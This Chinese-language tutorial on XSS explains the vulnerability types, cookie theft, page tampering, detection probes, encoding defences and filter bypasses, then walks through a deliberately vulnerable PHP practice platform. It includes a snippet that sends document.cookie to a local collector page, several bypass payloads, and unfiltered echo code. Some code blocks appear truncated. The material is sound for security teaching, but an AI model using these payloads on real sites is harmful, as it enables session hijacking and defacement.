参考:OWASP关于xss修复建议
跨站脚本简称xss(cross-site scripting),利用方式主要是借助网站本身设计不严谨,导致执行用户提交的恶意js脚本,对网站自身造成危害。xss漏洞是web渗透测试中最常见而又使用最灵活的一个漏洞,近期在拜读了《白帽子讲web安全》、《Web实战篇》、《XSS跨站脚本攻击剖析与防御》等几部佳作后,决定整理关于Xss漏洞的一些知识,并以本篇作为记录,权当笔记or读后感。
本篇内容主要包含xss漏洞攻击与防御理论知识,以及结合原创的xss漏洞闯关平台,通过实操的方式展示xss的攻击以及防御方法。由于xss理论知识网上非常丰富,这里不做详细讲解,本篇内容着重实操练习的过程。
xss大致分为:反射型、存储型、DOM型(这三种为主流)
反射型xss:只是简单地把用户输入的数据”反射”给浏览器,攻击时需要用户配合点击,也叫”非持久型xss”。
存储型xss:会把用户输入的数据”存储”在服务器端,也叫”持久性xss”,常见留言板等可以提交展示用户输入内容的功能点。
DOM型xss:从是否存储可划分成反射型,可通过修改页面的DOM节点形成的xss漏洞。
注意:无论反射型还是存储型,都是需要与服务端交互的,即服务端将提交的内容反馈到了html源码内,导致触发xss,也就是说返回到html源码中可以看到触发xss的代码;而DOM型xss是不与服务端交互的,只与客户端上的js交互,也就是说提交的恶意代码,被放到了js中执行,然后显示出来。那么这种形式有一个问题,就是html源码里面不存在触发xss的代码,因为服务端返回的源码都是一样的,只不过源码里面包含了一段js,这段js再执行后生成了一段xss代码,可以在审查元素中查看到。
xss漏洞是发生在客户端,目的是让浏览器执行一段用户提交的恶意js代码,从而达到某种目的。从表面上看,xss漏洞的危害止步于客户端,且主要就是用来执行js获取用户信息(比如浏览器版本等等)。然而由于xss漏洞可能发生的地方很多,因此被利用的情况也不统一,以下列举了xss漏洞能够造成的一些危害(xss漏洞危害包含但不仅限于以下几种)。
利用xss窃取cookie
利用xss进行cookie获取劫持是最常用的一种姿势,因为其能获取到管理员权限,危害较大,且利用简单。
cookie介绍
cookie分为内存cookie和硬盘cookie,内存cookie储存在浏览器内存中,关闭浏览器则消失。cookie由变量名与值组成,其属性里有标准的cookie变量,也有用户自定义的属性。
cookie格式:Set-Cookie:=[;=][;expiress=][;domain=][;path=][;secure][;httponly]
cookie各个参数详细内容:
利用xss窃取cookie方法
本地写一个xss_cookie.php页面,用于接收cookie。
在存在xss漏洞的地方,插入以下代码,便可以将cookie发送到xss_cookie.php,并且将cookie参数传递进去,写入文件中。
常用获取cookie的js代码(可自行扩展):
1 2 |
"http://localhost/cspt/XSS_cookie.php?cookie='+document.cookie"> |
提交之后,本地cookie.txt文件中就会写入cookie值。
利用xss篡改网页
前提:网站必须存在存储型xss漏洞,并且会将结果返回到页面上。
这样我们就可以插入一段js代码,作用在于获取网站源码中的标签,然后修改其中的属性值,达到修改网页的效果。
实例:修改网站所有连接地址
本地编写一个test.js脚本,内容如下:
将以下语句插入存在存储型xss漏洞的网站
1 |
|
可以发现存在该漏洞的网页上所有的链接都变成了www.google.com。
注:javascript加载外部的代码文件可以是任意扩展名(无扩展名也可以)
利用xss获取用户信息
xss获取用户信息,运用最多的还是获取cookie信息,但除此之外,还可以获取用户浏览器版本、外网IP地址、浏览器安装的插件类型等等。以下列举了利用xss获取的客户端用户信息(包含但不仅限于以下几种)。
注:利用Xss漏洞能做的事有很多,前面已经列举了一些,这里便不对每一个都展开讲解,如需了解更多的xss漏洞内容,最好的方式还是看书。
前面介绍了一些xss漏洞的基础内容,那么如何去检测一个网站(某个点)是否存在xss漏洞呢?
xss探针
我们可以在测试xss的位置写入以下代码,查看页面源码,观察哪些代码被过滤或者转义。
1 |
'';!--" |
xss探针可检测出网站有没有对xss漏洞做最基础的防御。
基础xss语句
除了xss探针以外,我们也可以输入最简单的测试语句:
1 |
|
如果插入的语句被原封不动的呈现在了浏览器中,那么说明了2个问题:
如果发现某些参数被过滤了,那么尝试使用其他方式(详细介绍在绕过一节会讲)。
xss检测常用语句
列举一些常用的xss漏洞检测代码:
1 2 3 4 5 6 7 8 |
//用分号,也可以分号+空格(回车一起使用) '1')> |
如何利用xss漏洞实施攻击并不是身为安全工程师的重点,xss防御才是我们努力要去做的。以下列举几种常见的xss防御方式,个人认为也是非常有效的方式。
设置httponly
httponly无法完全的防御xss漏洞,它只是规定了不能使用js去获取cookie的内容,因此它只能防御利用xss进行cookie劫持的问题。Httponly是在set-cookie时标记的,可对单独某个参数标记也可对全部参数标记。由于设置httponly的方法比较简单,使用也很灵活,并且对防御cookie劫持非常有用,因此已经渐渐成为一种默认的标准。
xss filter
Xss filter往往是一个文本文件,里面包含了允许被用户输入提交的字符(也有些是包含不允许用户提交的字符)。它检测的点在于用户输入的时候,xss filter分为白名单与黑名单,推荐使用白名单,但即使使用白名单还是无法完全杜绝xss问题,并且使用不当可能会带来很高的误报率。
编码转义
编码方式有很多,比如html编码、url编码、16进制编码、javascript编码等。
在处理用户输入时,除了用xss filter的方式过滤一些敏感字符外,还需要配合编码,将一些敏感字符通过编码的方式改变原来的样子,从而不能被浏览器当成js代码执行。
处理富文本
有些网页编辑器允许用户提交一些自定义的html代码,称之为”富文本”。想要在富文本处防御xss漏洞,最简单有效的方式就是控制用户能使用的标签,限制为只能使用a、div等安全的标签。
处理所有输出类型的xss漏洞
xss漏洞本质上是一种html注入,也就是将html代码注入到网页中。那么其防御的根本就是在将用户提交的代码显示到页面上时做好一系列的过滤与转义。
HTML标签中输出
即用户输入的内容直接在标签中显示:
1 |
$input |
防御方式,将用户输入进行html编码。
HTML属性中输出
即用户输入的内容出现在标签的某个属性中:
1 |
"$input"> |
防御方式,将用户输入进行html编码。
Script标签中输出
即用户输入的内容出现在script标签里面:
1 2 3 |
var a="$input"; // $input=";alert(/xss/);//"; 则会产生xss漏洞 |
防御方式,将用户输入进行javascript编码。
在事件中输出
即在事件标签中输出用户输出的内容,比如onclick标签等。
防御方式,将用户输入进行javascript编码。
在CSS中输出
即用户输入的内容出现在了css的style等标签中。
防御方式,进行十六进制编码。
在地址中输出
这个跟在html属性中输出类似,即在a标签的href属性中输出。
防御方式,将用户输入进行url编码。
总结:总得来说防御xss的方式只是三种:httponly、过滤字符、转义字符。然而使用何种编码转义,什么地方需要做转义才是真正防御xss漏洞的难点及重点,如果能搞明白并解决这个问题,那么xss漏洞将会无处可寻。————《白帽子将web安全》一书xss篇读后感。
有xss防御便会有xss绕过防御姿势,这是攻与防不断博弈的表现与成果。作为一名安全工程师,了解如何绕过xss防御可以更好地解决xss防御问题。(这里探讨的绕过xss防御不包含绕过waf的部分)
绕过xss filter
绕过xss filter的前提在于,xss filter使用了黑名单,并且没有过滤完全。
前提一:如果过滤了”《script》”字符串,但没有过滤”<”、”>”字符,则可以使用javascript:[code]伪协议的形式。
1 |
"javascript:alert('test');"> |
前提二:过滤了《script》,且只过滤一次。
1 |
|
前提三:没有正确处理空格、回车等字符
1 2 3 |
"javas Cript: Alert(/xss/)" width=100> |
关于绕过xss filter的方式还有很多,这里不一一展开了,只是列举下常见的方法:
为了加深对xss漏洞的理解,我特意用php编写了一套xss闯关练习平台,里面包含了一些常见的xss防御题型,我们需要做的就是如何去绕过这些防御,以及思考这些防御的弱点在于哪里?
xss闯关练习平台页面展示:
因为时间有限,并没有对页面进行美化,凑合着用用~!~。
平台题目由易到难,接下来的实操以及介绍也会从简单到复杂。介绍时,我会分别展示php源码中的防御方式(展示服务端代码),以及如何去绕过这些防御(展示客户端html代码)。
无任何过滤
下图是最简单的一个xss练习例子,网页从url中获取参数id的值,直接在页面中显示出来,没有做任何过滤。
查看网页源代码:
查看php代码:
1 2 |
$id=$_GET['id']; echo '当前提交的参数:'.''.$id.''; |
过滤《script》
那么一般情况下,网站不可能对用户输入不做任何过滤,比如以下案例:
通过观察html代码我们可以看到过滤了《script》以及《/script》,查看下php代码:
1 2 3 4 |
$id=$_GET['id']; $id=preg_replace("/
|